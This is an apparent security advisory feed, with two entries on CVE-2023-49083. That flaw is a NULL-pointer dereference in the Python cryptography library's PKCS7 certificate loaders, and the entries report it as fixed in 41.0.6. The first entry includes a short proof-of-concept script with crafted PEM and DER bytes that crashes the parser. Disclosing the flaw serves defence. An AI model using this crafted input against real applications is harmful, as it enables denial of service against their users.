BREW-azure-cli-CVE-2023-49083 — cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

2026-10-03T01:19:38.811252+00:00

Affected: Homebrew: azure-cli

### Summary

Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.

### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ```

### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

CVE-2023-49083 — cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

2026-10-03T01:19:38.811321+00:00

Affected: pyca cryptography

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
